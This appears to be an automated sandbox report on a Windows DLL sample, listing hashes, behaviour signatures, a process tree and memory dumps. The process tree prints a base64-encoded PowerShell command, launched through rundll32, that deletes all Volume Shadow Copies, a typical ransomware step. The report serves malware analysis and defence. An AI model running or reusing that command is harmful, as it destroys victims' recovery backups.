Analysis

  • max time kernel
    123s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    30-01-2022 07:55

General

  • Target

    2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c.dll

  • Size

    166KB

  • MD5

    b0202897062e62cdbf80a329b496534f

  • SHA1

    c15ea2f6565e9aa89be81fa49a0daeb83d205014

  • SHA256

    2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c

  • SHA512

    b9bc991412f76055876d18648d37763ca0437b2c70f6464c0c6d18f6d8a1fc40ddd85fcef68194b1a07f7d0eccba86605a4d2d013544372fe1093e0fe51f6211

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ae3e572ea01749df392a54bcf685e606bbb0e69e7f0dc5ed9014203fdea619c.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:776
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2024

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/324-54-0x0000000075431000-0x0000000075433000-memory.dmp

    Filesize

    8KB

  • memory/776-55-0x000007FEFBE11000-0x000007FEFBE13000-memory.dmp

    Filesize

    8KB

  • memory/776-57-0x00000000024B0000-0x00000000024B2000-memory.dmp

    Filesize

    8KB

  • memory/776-58-0x00000000024B2000-0x00000000024B4000-memory.dmp

    Filesize

    8KB

  • memory/776-59-0x00000000024B4000-0x00000000024B7000-memory.dmp

    Filesize

    12KB

  • memory/776-56-0x000007FEF2D50000-0x000007FEF38AD000-memory.dmp

    Filesize

    11.4MB

  • memory/776-60-0x000000001B840000-0x000000001BB3F000-memory.dmp

    Filesize

    3.0MB

  • memory/776-61-0x00000000024BB000-0x00000000024DA000-memory.dmp

    Filesize

    124KB